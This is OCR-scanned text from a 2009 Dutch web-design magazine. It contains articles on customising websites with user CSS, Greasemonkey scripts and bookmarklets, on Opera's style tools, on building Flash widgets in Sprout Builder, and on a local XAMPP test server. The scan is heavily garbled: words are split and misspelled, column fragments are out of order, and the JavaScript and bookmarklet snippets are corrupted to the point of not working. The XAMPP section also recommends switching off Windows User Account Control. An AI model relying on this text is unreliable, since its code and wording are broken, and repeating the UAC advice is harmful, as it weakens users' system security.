Mozi I la\R refox\Profi 1 es\Profiel na a m\c h rom e). 
De browser heeft daar al een sjabloon voor 
staan. In userContent.css kun je net als bij Sty¬ 
lish de werking van de opdrachten met @-moz- 
document Inperken. Het bestand userChrome. 
css, dat in dezelfde map te vinden is H modifi- 
ceert het uiterlijk van de browser. Als je daar 
lets in verandert, meet je wel eerst Firefox 
herstarten om het resultaat te bewonderen. 


Met CSS kun je dus veel doen r maar helaas 
komt e r een mo me nt dat j e i ets wi It vera n d eren 
wat gewoonweg niet kan. Dat is met name als 
je elementen wilt toevoegen. In dat geval heb 
je meer aan JavaScript dat bij het ombouwen 
van een website praktlsch onbegrensde moge- 
lijkheden biedt De Fi refox-add-on Greasemon- 
key past gebruikersgedefinteerde scripts op 
websites toe. Ook Opera kent dit trueje, zoals te 
lezen is in onderstaand kader. 

Net zoals bij user-stylesheets zijn er voor 
scripts meerdere online bronnen, zoals user- 
scripts.org. Daar kun je lekker grasduinen tus¬ 
sen modificaties voor bekende websites. Zo 
vind je daar een verbeterde userinterface voor 
Google en een andere zoekoptie voor Amazon, 
die zoekresultaten wat handlger presenteert. 

Om deze hebbedingetjes te krijgen ac- 
tiveer je Greasemonkey en installeer je de 
scripts si m pel weg vanaf de website. De uit- 
breiding werkt alleen met bestanden die op 
.user.js eindigen. Het is wel oppassen gebla- 
zen bij scripts uit onbekende bronnen: in 
tegenstelling tot user-stylesheets kan een 
boosaardig script aanzieniijke schade aan je 
computer berokkenen. 

Via het menupunt 'Nieuwe User Script' kun 
je met Greasemonkey je eigen script schrijven. 
In het bijbehorende venster vul je de naam, 
het domein en een beschrijving naar keuze in. 
Bij het tekstvak 'Includes' is dan meteen de op 
dat moment geopende URL ingevuld. 

Nadat je op ‘OK 1 hebt geklikt, vraagt het 
aapje de eerste keer naar het pad naar een 
I oka a 1 ge'mstalleerde editor. Greasemonkey 
heeft zelf namelijk geen editor. Als je het pad 
opgeeft naar C:\Windows\notepad.exe kun je 
in het vervolg het Kladblok daarvoor gebrui- 
ken. In het Kladblok-venster verschijnen dan 
de ingevutde gegevens in de header: 

// ==UserScript-= 

// @name GoogLe testscript 

// @namespace google.nl 

// (^description ff testen 

// include http://www.google.nl/ 

// ==/UserScrlpt== 


User-CSS in Internet Explorer, Safari en Firefox 
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tnteressant zijn vooral de tegenpolen include 
on ^exclude. Met ^include http://www.googte.nl/ kun 
je een script bijvoorbeeld binnen het hele 
domain uitvoeren. In de Greasemonkey-dia- 
loog 'Beheer User Scripts' kun je de header 
ook achteraf bewerken, zonder de brontekst 
te openers. 

Als oefening om mee te beginnen kun je 
bijvoorbeeld de naam van de eerste link op 
de Google-hoofdpagina vervangen. In dit 
geval is dat de link 'Af bee! d ingen'. Onder de 
header voeg je dan deze code toe: 

dot u ment.g etElemen isBylagNa me(' A) [0] L 1 firstChl Id. 
nodeVaLu e=' Pla atjes :oeken'; 

Zodra je het script hebt opgeslagen en de 
pagina ver verst, wordt de verandenng zicht- 
baar. 2o kun je bijvoorbeeld je favonete links 
een wat opvallendere naam geven en ze he- 
lemaal naar je eigen smaak aanpassen, 

Bij de softlink staat een script dat je voor 
nu.nl kunt gebruiken en wat voor een deel 
hetzelfde doet als boven beschreven met 
CSS: het verwijdert de foto's van de voorpa- 
gina. Daarbij blljven wel de rubrieksnamen 
zichtbaar, dus dat houdt het wat overzichfe- 
lijker. 

Met een muisklik 

Als je dit user-JavaScrlpt niet bij elk website- 
bezoek nodig hebt, dan is een bookmarklet 
waarschijnlijk een betere oplossing. in dat 
geval gaat het om een script dat je via de 
adresregel van de browser uitvoert. Dat script 
kun je als een gewone bladwijzer opstaan, 
maar het kan veranderingen aanbrengen aan 
de op dat moment geopende website. 


Om dat te laten werken zui je a He spaties en 
tabs in het script moeten verwijderen of co- 
deren (een spatie wordt bijvoorbeeld %2G) en 
moet je javascript: voor de code zetten. Daarbij 
moet je ervoor zorgen dat de bookmarklet 
geen waarde teruglevert, omdat de browser de 
webstte dan gaat herladen. Dat doe je met de 
operator void. Het bovenstaande script ziet er als 
bookmarklet dan zo uit: 

javascript:void (docu ment.getElementsByT agMame( 'A') [0 j, 
ffrstChilcl.nodeValue= , P^aatjes%20zoeken , ); 

Bookmarklets worden ook door browsers on- 
dersteund die standaard geen userdavaScript 
bieden. 

Je zult je wel in JavaScript moeten verdie- 
pen om met Grease monkey zin voile scripts en 
bookmarklets te maken. Maar ook als je niet 
van programmeren houdt kun je eigen scripts 
in elkaar zetten, maar dan heb je wei de Firefox- 
addon Platypus nodig, een soort vlsuele inter¬ 
face voor Greasemonkey. 

Met alleen wat k nop pen in de werkbalk, wat 
klikken in het document en een aantal dialoog- 
eEementen kun je met Platypus verbluffende 
results ten bereiken. Zo kun je afzonderlijke 
eiementen verbergen of juist ge'isofeerd laten 
zien, achtergrondafbeeldingen verwijderen en 
fontkleuren veranderen. Voor het veranderen 
van koppelingen of de hele broncode kun je 
regulsere expresses in een dlaloog Invoeren. 
Je kunt met Platypus ook stijlen aanpassen en 
brontekst toevoegen. 

Platypus kan zelfs proberen om zelfstandig 
de inhoud van een website te achterhalen. Dan 
hoef je niet eerst met Ctrl-A de inhoud heie- 
maal te selecteren. Bij het opslaan wordt de 
gebruikersinvoer omgezet in een Greasemon¬ 


key-script. Deze fascinerende ultbreiding staat 
echter nog in de kinderschoenen. Nog niet alte 
functies werken in Firefox 3.0. 

Stijlvol 

Wat we tot nu toe hebben laten zien is natuur- 
lijk maar een fractie van wat je met CSS-mod - 
ding en user-scripts voor elkaar kunt krijgen. 
De website csszengarden.com laat zien hoe 
je het uEteriijk van een website een heel ander 
karakter kunt geven door alleen de stijl te ver¬ 
anderen. Er zijn ongeveer 200 stijlen om te pro¬ 
beren. ., 

ledereen die met CSS werkt weet dat er bij 
het veranderen van de lay-out met CSS soms 
rare dingen kunnen gebeurea Ook al gebruik 
je aile tools die er zijn, voor C$S-modding ben 
je toch voor een deel afhankefijk van de op- 
lossingen die de maker van een website heeft 
bedacht. En de volgende keer dat die website 
wordt vernieuwd, begint het spel weer van 
voor af aan en is a I je gezwoeg voor niets ge- 
weest Toch zijn er voor het aanpassen aan je 
eigen voorkeur meestal maar een paar kleine 
ingrepen nodig. 

User-stylesheets en Java Scripts geven je een 
vrijheid die het internet voor heeft op andere 
media: het aan je eigen wensen aanpassen van 
het eind product. (mda/nkr) 
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Eigen stijlen en scripts in Opera 


zoa!s ID-attributen of deafme- 
tingen van lay-outcontain- 
ers laten zien. Je kunt deze 
stijlen deels ook combineren. 

Opera kan ook aan iedere 
afzonderlijke website een 
a parte stijl toevoegen. Dit doe 
je via Voorkeuren / tabblad 
Geavanceerd / Inhoud / Stijl- 
opties 1 . Een daar opgegeven 
CSS-bestand overrulet een 
eventueel bestaande user- 
stylesheet. Op dit tabblad zijn 
ook de script- en plug-inop- 
ties centraal te be here n. Als je 
de Stylish-bestanden wilt ge¬ 
bruiken, moet je het deel met 
@-moZ“documefit verwijderen. 



Opera heeft van zichzelf al een berg kant-en-klare designs 
die de we bsi tel ay- out kunnen verbeteren. 


Opera is weliswaar niet met plug-ins uit te brei- 
den, maar deze browser heeft van zichzelf a I wat 
krachtige toots voor eigen stijlen en scripts. 

Net als bij Internet Explorer en Safari kun je 
een stylesheet voor alle websites instellen. 
Deze optie vind je bij de geavanceerde voor¬ 
keuren achter het tabblad 'inhoud 1 . 

Daarbij kent Opera in het menu Beeld / Stijl 1 
twee websiteweergaven: de Auteursstand 
en de Gebruikersstand. Voor beide kun je 
instellen welke lay-outinformatle de browser 
moet gebruiken. Standaard laat Opera de 
sites in de Auteursstand zien, waarbij de bij- 
behorende stylesheets en {indien voorhan- 
den) je eigen stylesheet worden toegepast 
In de Gebruikersstand gebruikt de browser 
alleen de lokale CSS-opdrachten. 

Bovendien komt Opera met een paar voorin- 
gestelde stijlen. Hiermee kun je het surfen wat 
makkelijker maken (bijvoorbeeld Toeganke- 
lijkheidslayouf of 'Hoag contrast'), bepaalde 
lay-outkenmerken deactiveren (zoals regelaf- 
brekingen en CSS-floats) of structuurinformatie 


Opera kan behalve met stylesheets ook met 
scripts overweg, Je kunt echter geen apart be- 
stand opgeven, maar wel een map met js-be- 
standen* Daarbij houdt Opera rekening met de 
(^include- en ^exclude-instruct!es in de scrlpthea- 
der, zoals je die ook van Greasemonkey kent. 


Opera heeft vanaf versie 9.5 net als Safari een 
aantal ontwikkeltools om eigen web site mo- 
diflcaties te maken. Daarmee kun je de do- 
cumentstructuur overzichtelijk laten weer- 
geven, de geldende CSS-informatie tonen en 
de fouten in JavaScript en CSS laten zien. 
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Multimediale Flash-toepassingen in de 
browser bij elkaar klikken 

Met de gratis editor Sprout Builder kunnen ook leken op 
programmeergebied videoclips, R5S of iCal-bestanden 
met online services tot mini-mashups combineren. Deze 
kun je vervolgens weer embedden in je eigen site of bij 
communitysites als Face book of My Space. 


O f je nou een artiest bent, een handel- 
tje op internet hebt of het gewoon 
voor de Sol doet, in het web 2XMijd- 
perk kun je met meer zomaar een website 
opzetten en dan gaan hopen dat er ooit eens 
iemand op de site komt Je moet zeff actief 
worden op plekken waar je vrienden of po- 
tentiele klanten zitten en je daar presente- 
ren, bijvoorbeeld met een widget Dit zijn 
gebruiksvrlendelljke programmaatjes die 
eenvoudig in allerlei soorten websites kun¬ 
nen worden ingebouwd, Denkaan individua- 
[ i seer bare startpagina’s of soda I e netwerken. 

De programmaatjes halen content by eike 
oproep dynamlsch van het internet (bijvoor¬ 
beeld van web-2.0-platforms). Op die manier 
kun je nieuws of videodips presenteren of 
muziek afspelen. Zulke mini prog ramma's be- 
staan uit HTML en JavaScript of Flash, Op veel 
portables als Netvibes kunnen gebruikers 
afzonderitjke widgets bij elkaar klikken die 
samen bijvoorbeeld de inhoud van een RSS- 
feed weergeven. 


Het programmeren van complexere widgets 
was lang alieen een zaak van experts. Met 
Sprout Builder (http://sproutbuilder. com) 
kan iedereen tegenwoordtg in een inturtief 
te bedlenen online editor allerlei soorten ap- 
plicaties (zogenaamde sprouts) Engels voor 
"kiem’J bij elkaar klikken. In dit artikel leggen 
we uit hoe een persoonlijk profiel-wEdget is 
opgebouwd en hoe je die vervolgens in com¬ 
munitysites of je eigen website integreert. 

Tuingereedschap 

Sprout Builder is de laafste tijd voiop in ont- 
wikkeling. Tot voor kort hoefde je je niet eens 
te registreren om de software uit te proberen, 
maar dat moet nu weL Per e-mail krijg je ver¬ 
volgens een verificatiecode toegestuurd die 
je nodig hebt om een sprout op te staan of 
te publlceren. De widget kan 30 dagen gratis 
uitgeprobeerd worden, maar dan krijg je aan 
de onderkant wel een bafkje te zien met het 
Sprout-logo. Daarnaast zijn er vier verschillen- 


de commerciele pakketten: Individual, Desig¬ 
ner, Professional en Agency De prljzen lopen 
ulteen van 19 tot 299 dollar per maand, De 
Pro-versie is ook voor 2999 dollar op jaarbasis 
te krijgen. 

Sprout Builder Is geoptimaiiseerd voor brow¬ 
sers nieuwerdan Internet Explorer 7.0, Firefox 2 
en Safari 3. Daarnaast moet je ervoor zorgen 
dat op de computer Adobes Flash-plugin ge- 
installeerd is. Widgets die je met Sprout Builder 
hebt gemaakt, zijn feitelijk Flash-toepassingen 
die op een server van Sprout draaien, De be- 
heerder levert met de toepassing een URL en 
een HTML-on twerp mee, waarmee je het op 
andere sites kunt embedden. 

Om ervoor te zorgen dat de voorbeeld- 
widget in dit artikel in de lay-out van de (in 
ternationaal) beiangrijkste communitysites 
-Facebook en MySpace - kan komen te staan, 
houden we een maximale kolombreedte van 
388 pixels aan. De widget past dan ook in de 
meeste blogdesigns. Vrienden en bloggers 
kunnen de widget dan probleemloos in hun 


102 


c t special 1/2009 Webdesign 




Modding | Widgets programmeren 





Q Sprout Koens widget [ | 
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Mediabeheer m 



De bediemngsinterface van Sprout Builder doet denken aan die van Photoshop e*d. 
Vanuit de Components (links) kun je kant-en-klare elementen voor veel services naar de 
widget slepen* Met de Properties (rechts) pas je ieder afzonderlijke component aan* 


websites integreren. Om te beginnen klik 
je op het tabblad Pricing & Sign Up* Sprout 
biedt 17 voorbeeldlay-outs als templates aan. 
Ons project begint geheei bij nul, want we 
kiezen voor het sjabloon Blank Slate* Geef het 
sjabloon een naam en ste! het formaat in op 
388 X 388 pixels. 

Net als bij Photoshop of andere beeld- 
bewerkingsprogramma's is Sprout Builder 
onder te verdelen in een vijftal categoneen: 
mediabeheer, gereedschap, workspace, ob- 
jecteigenschappen en de pagina-indeling. 
Rechts bovenin zie je onder meer de tabbla- 
den Projects en Assets met daarin het pro- 
jectbeheer en de mediabibliotheek. De feite- 
lijke werkpJek waar je uitetndelljk de widget 
bouwt, staat in het midden. 

Het paneel Tools links op de pagina geeft 
een overzicht van al het gereedschap, waar- 
mee je een widget kunt bouwen. Met het 
venster Components integreer je mediabe- 
standen, externe online services en multime- 
diale elementen. Welke functie een bepaaid 
component heeft, verklaart de Engelstalige 
tooltip die verschijnt als je de muisaanwijzer 
erop houdt. 

Zowel de Tools als de Components heb- 
ben veel parameters als kleur, formaat, posi- 
tie, links of effetten die je als Sprout-ontwik- 
kelaar kunt bewerken onder de Properties 
(rechts in het beeid). De History houdt alle 
stappen bij die je hebt ondernomen om je 
widget te bouwen. Je kunt ook stappen on- 
gedaan maken. De opbouw van een widget 
wordt door de pagina-Indeling onder In het 
scherm weergeven. Je kunt er nieuwe pa¬ 
ginal mee aanmaken, pagina's mee verwij- 
deren, een andere naam geven of ze klonen 
door op Copy te drukken. 

Onze voorbeeld-widget moet nieuws, een 
biografie, een fotogallery, een videoclip, een 
contactformulier, een agenda en een rou- 
tebeschrijving bevatten* De zeven pagina's 
voeg je toe door op New te klikken en geef 
je een naam door een keer op de tite! te klik¬ 
ken (bijvoorbeeld Meows, Biografie, Agenda , 
Foto% Video , Contact en Route). 

Site-DNA 

Naast de normale pagina’s, de Pages, be- 
heert Sprout Builder ook zogenaamde Master 
Pages. Dit zijn sjablonen voor de voor- enach- 
tergrond die Sprout toevoegt aan elke page; 
voor afzonderlijke pages kunnen de tem¬ 
plates ook worden gedeactiveerd door onder 
de Properties van de betreffende page een 
vinkje te zetten bij Omit master foreground of 
Omit master background. 

De Background Master Page geeft alle 
pages hetzelfde grafische kader, bijvoorbeeid 
een foto, De afbeeiding moet je wel eerst naar 
het mediabebeer uploaden en mag maximaal 
1 MB groot zijn* Met BMP-afbeeldingen kan 
Sprout niet overweg* Foto’s kun je daarom 
het best van tevoren met een bewerkings- 
programma op maat snijden of in een ander 
formaat opslaan. Als de afbeeldtngen groter 
zijn dan het formaat dat je bij Preview hebt 
ingestefd, schaalt Sprout Builder ze automa- 


tisch* Dat kan wel ten koste gaan van de weer- 
gavekwaliteit. Alles wat in het zwarte kader 
staat, zal uiteindelijk na publicatie worden 
wee rgeg even* 

Klik op Assets om de mediablibliotheek te 
openen en upload de foto's die je nodig hebt. 
Daarna kun je de gewenste afbeeldingen met 
de muis vanuit de Asset naar de Master Page 
slepen. Via het venster rechts (Properties) of 
met het snelmenu posftioneer, vergroot of 
draai je de foto tot die past 

De gebruiker van de widget moet naar 
de afzonderlijke pages kunnen gaan met 
behulp van knoppen bovenin de widget In 
plaats van de navigatie op elke page afzon- 
derlljk in te bouwen, gaat dat sneller via de 
Foreground Master Page. Om de knoppen 
van de menuopties bovenin elke pagina te 
krijgen, gebruik je de component Button 
die je vindt onder Components/General. Als 
je een knop hebt ontworpen en gepositio- 
neerd, koppel je hern vervolgens via het sub¬ 
menu Lin ks & Tracking (onder de Properties} 
aan de betreffende page. In ons voorbeeld 
gebruiken we alleen interne pagina's, maar 
je kunt ook koppelingen maken naar een ex¬ 
terne website. 

Je spaart veel werk uit door eerst een 
knop compleet te maken en die vervolgens 
via het snelmenu (rechter muistoets) te ko- 
pieren. Je hoeft de gekopieerde knop dan 
alleen nog een andere naam te geven, te 
positioneren en aan de goede page te kop- 
pelen. Als je elementen in Sprout Builder 
tot op de pixel nauwkeurig wilt verplaatsen, 
gebruik je het best de pijltoetsen* Houd de 
Shlft-toets daarbij ingedrukt en je kunt ele¬ 
menten met de pijltoetsen in stappen van 
10 verplaatsen. 


Content planten 

Als de basislay-out en de navigatie af zijn, kun 
je de widget van alle Enformatie gaan voor- 
zien. De nieuwspagina geef je het makkelijkst 
informat le uit een RSS-feed mee, bijvoorbeeld 
van nu.nl of uit een persoonlijk blog. Ook veel 
sociale netwerken stelien via een profiel een 
RSS-feed beschtkbaar* 

Met twee klikken bouw je een RSS-ticker in 
je widget Eerst voeg je de component van de 
RSS-ticker toe via het pictogram News Feed 
(te vinden onder de rubriek Components/ 
Genera!)* Daarna klik je in het bijbehorende 
Properties-venster op ’Enter a URC dat je bij 
Feed URL in het tekstvefd ziet staan. Plak hier 
de link naar de RSS-feed. Sprout Builder werkt 
de component direct bij en geeft de feed in de 
workspace weer Vervolgens wil je de compo¬ 
nent nog versieren met een leuk kleurtje en 
positioneren. Met het schuifbalkje bij Opacity 
(dekking) leg je vast in welke mate de ach- 
tergrond door het nleuws heen komt. Als dit 
bijvoorbeeld 50 procent is, krijg je een chique 
melkglaseffect dat de onderliggende foto er- 
door heen laat schemeren. 

De Biografie-pagina in onze voorbeeld- 
widget bevat een tekst en een aparte foto om 
het een beetje te laten onderseheiden van de 
andere pagina's* De foto voeg je net als bij de 
Background Master Page toe via Assets. Als 
je de dekking dan op 100 procent laat, komt 
de foto over de achtergrondafbeelding heen 
te staan. Je kunt de tekst vervolgens gewoon 
op de foto plaatsen. Sprout Builder kan mo 
menteel alleen tekens van een Amerikaans 
toetsenbord herkennen en zodoende geen 
trema's of accenten weergeven* Voor de zeker- 
heid kun je de toetsenbordindelmg dus beter 
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De voltooide widget draait op de servers van Sprout* Je kunt het bij veel web-2.0-diensten 
embeddert door op een knop te drukken of met behulp van een paar regels HTML die 
Sprout aangeeft. 


op TN (Verenigde Staten) 1 zetten, zodat niet 
ineens heel andere letters op het scherm ver¬ 
se hijnen. 

Een langere tekst kun je het best eerst in 
een tekstverwerkingsprogramma typen om 
hem vervolgens via het klembord naar een 
tekstveld te kopieren* Om ervoor te zorgen dat 
de tekst vanwege de achtergrond goed lees- 
baar wordt, maak je met de rechthoek onder 
Tools een vlak dat je achter de tekst positio- 
neert. Lagen plaats je hierbfj met het gereed- 
schap 'Move to front' of'Move to back 1 (naast 
elkaar direct onder het slot! coo ntje)* Onder 
Tools vind je nog veel ander gereedschap om 
paginal vorm te geven* Daarnaast vind je via 
de soft!Ink nog diverse tutorials over de moge- 
lijkheden van Sprout. 

Stek 

Met behulp van de agendacomponent kun je 
ook eenvoudig dynamische agenda's maken. 
De agendagegevens haalt de component uit 
een link naar een iCal-bestand. Veel program- 
ma's en diensten zoals Mozilla Thunderbird, 
Lotus Notes, Apples iCai„ Microsoft Outlook of 
Google Agenda ondersteunen dit formaat. 

De Ideale leverancier voor de widget Is 
Google, omdat Sprout dan altijd bij een bij- 
gewerkt agendabestand kan* je moet dan 
wel een gratis Goog I e-account hebben* Om 
data uit Google Agenda te exporteren, moet 
de betreffende agenda wel openbaar zljn. De 
agenda die je wilt exporteren, is via het tab- 
blad Agenda's onder de Agenda-lnstelllngen 
te deien. Vervolgens geeft Google de URL naar 
het tCal-bestand weer. 

De agenda voeg je op min of meer dezelfde 
wijze toe als RSS-feeds; de component die je 
nu nodig hebt, is de Calendar* Ptak de ICaMink 
in het invoerveld iCalendar-URL dat je in het 
bijbehorende Properties-venster vindt* Sprout 
presenteert de agendafunctie standaard een 
beetje saal, maar je kunt de lay-out ook op- 
fleuren. Zo kun je met Today de huidige dag 
een andere kleur geven zodat die wat meer 
opvalt. Onder Text is hetzelfde te doen met de 
afspraken* De parameter Disabled geeft dagen 
aan waarop je niets gepland hebt 

Google Documenten, een andere service 
van de zoekgigant, Is met de component 
Google Forms hetgene wat je nodig hebt om 
formulleren in te voegen voor bijvoorbeeld 
enquetes of - zoals in ons voorbeeld - om 
contact op te nemen. Een oontactformuller 
maak je door in Documenten een nieuw for- 
mulier te maken en in het tekstveld Titel van 
de vraag 1 iets te schrijven als "Schrijf uw bericht 
in het tekstveld". Als type vraag voor het veld 
selecteer je in het drop-downmenu 'Tekstali- 


Gereed’ en daarna op Opslaan' rechtsboven. 
De link naar het formulier staat hierna in het 
blauw onderin het venster en beef je alleen 
nog maar te kopieren naar de widget* 

Een fotogallery maakt de widget nog wat 
persoonlijker* Zo zijn foto's van de vakantie al¬ 
tijd leuk om te tonen, De betreffende compo¬ 
nent die je dan nodig hebt, staat onder Media 
en isde Slideshow. 


Om foto's aan de diavoorstelling toe te voegen 
gebruik je geuploade foto's uit de mediabi- 
bliotheek of verwijs je via een URL naar foto's 
die online staan* Foto's van communitysltes 
als Ftickr en Picasa integreert Sprout Builder 
via directe links naar de bestanden. Met het 
navigatiepanee! kunnen bezoekers zelf het 
tempo van de slideshow bepalen. Ook kun je 
vooruit en terugbladeren* Met het submenu 
Show Controls onder de Properties kun je ook 
overgangseffecten tnstellen en de tijd hoelang 
de foto's moeten worden weergegeven. 

Vol in bloei 

Videodips kun je ook in de widgets van Sprout 
inbouwen. Momenteel ondersteunt Sprout 
SWF- en FLV-bestanden en directe links naar 
videoclips op YouTube of seesmic.com. Als je 
video's van laatstgeno erode site haalt, heeft 
Sprout ook een eigen component beschik¬ 
baar, de Seesmic Video* Deze staat onder Com¬ 
ponents/Service en niet Media waar je het eer 
derzou verwachten. Vooralle andere bronnen 
kun je de component Video gebruiken. Ats je 
video's wilt toevoegen die redelijk lang zijn (en 
daardoor vaak ook groter), voeg je ze het best 
toe via een externe link. De bestanden moge- 
lijk namelijk hooguit 18 MB zijn. 

Op dit moment is alleen kaartmateriaai van 
Yahoo! Maps beschikbaar. De betreffende com¬ 
ponent vind je onder het submenu Services. Klik 
je op Yahoo! Maps, dan wordt een kaart inge- 
voegd, waarbij je in de Properties alleen nog het 


woont isde lokalisatie niet a [tijd even makkelijk. 
Yahoo! Maps begrijpt straatnamen niet altijd en 
kan de kaart dan niet laden. Het adres voeg je 
bijvoorbeeld als volgt in: annastraat <hui$nr t > f 
nijmegen, nededand. 

Als laatste verfijn je de lay-out van de kaart 
Zet je in het Properties-venster een vinkje 
voor Allow Panning en Zoom Tool, dan kun¬ 
nen de gebruikers van de widget de kaart ook 


verschuiven, vergroten of verklemea Met de 
Satellite Tool zet je de kaart om naar de satel- 
lietweergave, maar dat werkt niet altijd. Om 
het hele zaakje ulteindeiijk te publiceren, druk 
je bovenin op Publish. Eerst wordt de boel au- 
tomatisch nog een keer opgeslagen, Daarna 
krijgt elke sprout een eigen URL, zodat je het 
op andere websites kunt inbouwen. Je kunt de 
link kopieren en publiceren op een communi- 
tysite of per e-mail verst urea Helaas voor veeE 
Nederlanders is Hyves niet opgenomen in de 
te kiezen mogelijkheden, 

Om te achterhalen of en hoe je widgets wor¬ 
den gebruikt, biedt Sprout Builder de functie 
Reports. Sprout Builder geeft uitvoerige ana¬ 
lyses, maar loop! tegdijk nog een beetje in sta¬ 
ble!. Desondanks zien de statistieken er span- 
nend uit, want elke keer als je op een element 
met een link klikt, wordt het meegeteld. Om te 
meten hoe veel keer op een element wordt ge- 
klikt, moet je onder de Properties bij het kop- 
pelen niet alleen een link intypen, maar via het 
uitklapmenu Track ook de tracking actlveren, 
De tracking dient bijvoorbeeld als teller voor 
downloads die je binnen de widget aanbiedt. 
Als je een beetje een gevoel hebt gekregen 
met Sprout, kun je heel wat van je creativiteit 
aanspreken. Zo kun je bijvoorbeeld een digi- 
taal portret met MP3-stream, videodip, fo¬ 
togallery en een contactformulier opzetten of 
een widget voor non-profitorganisaties tom- 
pleet met een functie voor PayPal beschikbaar 
maken. In plaats van RSS-feeds zomaar over te 
nemen, kan het ban dig zijn de g eg evens van 
meerdere bronnen te mengen met services 
als Yahoo! Pipes. Ook zijn met behulp van de 
Google Mas hup-Editor complexe mashups te 
maken. Soms is het ook genoeg om een feed 
te filteren op een bepaald sleutelwoord. Met 
FilterMyRSS is zo'n filter in een handomdraai 
gemaakt. Via de softlink vind je links naar nog 
m ee r R S Stool s, (m vd m) 

( Softlink Q9WD102 ct 


neat vervolgens klik je eronder op de button adres hoeft in te typen. Als je buiten Amerika 
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Heet geserveerd 

Websites lokaai ontwikkelen en op internet zetten 

Niet iedereen vindt heteen prettig idee om met een contentmanagementsysteem, 
blog of wiki op de server van z J n webboster aan de slag te gaan. Daarom hebben 
wi] een webontwikkefomgevmg samengesteld waarmee je verschillende systemen 
op je Windows-pc kunt uitproberen. Dit a r tike I beschrijft waar je op meet letten en 
helpt bij het overzetten van de resultaten naar een publieke server. 
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D e voordelen van een contentma- 
nagementsysteem (CMS) zijn meest- 
al overduidelijk, toch worden veel 
websites nog met de hand bijgehouden, 
Als je eenmaai besluit om je oude manier 
van werken vaarwei te zeggen, is de vraag 
meestal we!k type systeem voor jouw web¬ 
site het best geschikt is. Ga je voor een wiki 
of toch een full-blown ems? En een ems met 
forum of kies je voor beide taken specialis- 
ten op hun gebied en ontwikkel je de inie- 
gratiemodule zelf? Het kan ook zijn dat je 
nog geen website hebt en gewoon eens wilt 
proberen wat een blog, wiki of forum nou 
predes inhoudt en wat er allemaal bij het 
beheer komt kfjken. In beide gevallen is het 
slim om de ontwikkelomgeving eerst eens 
in je lokale netwerk uit te proberen voordat 
je direct op het web aan de slag gaat, Vaak 
zlt je er namelijk voorjaren aan vast. Voor al 
deze gevallen is de c’t-webontwikkelomge- 
ving precies wat je moet hebben. 

Via de softlink kun je versie 1.1 van onze 
c r t-webontwikkelingomgeving downloa¬ 
ded Het hart wordt gevormd door Web¬ 
server Apache, waaraan vijf contentma- 
nagementsystemen zijn toegevoegd: het 
flexibele en populate Joomia!, het verge- 
lijkbare Drupal, dat bijzonder geschikt is 
voor online communities, het veelgebruikte 
blogsysteem Word Press, het van Wikipedia 
bekende MediaWiki en de wfjdverspreide 
forumsoftware phpBB. 

Het pakket is direct bruikbaar en hoeft 
niet eerst ‘gemstalleerd’ te worden: Pak het 
I zip-archief gewoon op je harde schijf uit en 
I je kunt er direct mee aan de slag. Ben je klaar 
met experlmenterea dan gooi je de map ge¬ 
woon van je harde schijf. Het is ook moge- 
lijk om vanaf een usb-stick te werken, maar 
niet vanaf cd of dvd: de software moet in de 
mappen namelijk schrljfrechten hebben. Op 
de gekozen locatie moet bovendien min- 
stens 1 GB vrije opsiagruimte zijn. Je kunt 
het archief het beste in de root uitpakken, 
zodat je geen problemen krijgt door bijvoor- 
beeld padnamen met spaties erin. 

De basis van het pakket is XAMPP voor 
Windows, een complect server pakket met 
Apache, MySQL, PHP en Perl, Na het uitpak¬ 
ken moet je eerst sefup_xompp.bof in de 
root van het pakket uitvoeren, waarmee 
onder andere het huidige pad in een con- 
fig urafiebestand wordt gezet. Daarna is het 
systeem direct bruikbaar* 

Fornuis 

De servers zijn het makkelijkst te starten met 
het programma xampp-control , dat met Ad- 
mi nistratorrechten moet worden uitgevoerd. 
Je kunt de servers ook als service instaileren 
door Svc aan te vinken. Na iedere reboot zul- 
len de web- en databaseserver dan standaard 
worden opgestart Met xampp-control kun 
je ze altijd weer uitschakelen, Als je de soft¬ 
ware slechts af en toe gaat gebruiken, kun je 
de servers beterafleen opstarten alsje ze ook 
nodig hebt, anders verbruiken ze on nodig 
veel geheugen- en process orresources. 


Voordat je servers start, moet je even con- 
troieren of de benodigde poorten vrij zijn, 
Het kan bijvoorbeeld voorkomen dat het 
VolP-programma Skype poort 80 aE in ge- 
bruik heeft. Het programma xampp-port- 
check laat zien welke poorten servers nodig 
hebben en of die nog vrij zijn. Om met de 
webontwikkelomgeving te kunnen werken, 
moet je atle programma's die een van deze 
poorten in besiag nemen afsluiten. 

Het XAMPP-pakket bevat behalve Apa¬ 
che overigens nog een andere Webserver. 
Die hoort bij mailserver Mercury en maakt 
het beheer van mailinglijsten mogelijk. 
Maar omdat die standaard ook op poort 80 
draait, kunnen er wat dingen door elkaar 
gaan lopen. Daarom hebben we die in de 
webontwikkelomgeving uitgeschakeld, 

Als de firewall van Windows actief is, 
slaat deze alarm zodra de servers gestart 
worden. Op de vraag of het programma ge- 
blokkeerd moet worden, antwoord je ’Blok- 
kering opheffen* Als je andere firewall soft¬ 
ware gebruikt, moet je in die software ook 
zo instelien dat de services de noodzakelijke 
poorten mogen gebruiken* 

Bij het werken met de webontwikkel¬ 
omgeving onder Vista is het Gebruikersac- 
countbeheer (User Account Control, UAC) 
een voortdurende bron van ergernis. De 
ene keer verhindert dit beveiligingssysteem 
de toegang tot bestanden, de andere keer 
het starten van services. Natuurlijk kun je 
iedere keer braaf toestemming geven, maar 
je kunt er ook voor kiezen om UAC uit te 
schakelen zolang je met de webontwik¬ 
kelomgeving werkt. Start hiervoor het pro¬ 
gramma msconfig via 'Uitvoeren' of de toet- 
sencombinatie Windows-R. Op het tabblad 
‘HuIpprogrammaV selecteer je 'Gebruikers- 
accountbeheer uitschakelen 1 en kirk je op 
’Starten 1 . Het Windows Beveiligingscentmm 
geeft dan een melding dat je de beveiliging 
van de computer moet controleren, maar 
het is duideiijk waar dat vandaan komt Op 
dezelfde manier kun je het Gebruikersac- 


countbeheer weer inschakelen. Na het in- of 
uitschakelen van het Gebruikersaccountbe- 
heer moet je de computer opnieuw opstar¬ 
ten om de wijzigingen te activeren. 

Aangebrand 

Af en toe heeft XAMPP wat klelnere proble¬ 
men, die echter eenvoudig zijn op te lossen. 
Zo herkent xampp-control na het starten 
weliswaar dat XAMPP draait, maar alfeen als 
de software door dezelfde gebruiker is op¬ 
gestart, Als XAMPP vanwege ontbrekende 
Admi nistratorrechten onder een andere ac¬ 
count is opgestart, lijkt het alsof je Apache 
nog moet starten. in dat geval kun je Apa¬ 
che ook niet stopped 

Ondanks de Windows-firewall - en zon- 
der al helemaal natuurlijk - is het een bui- 
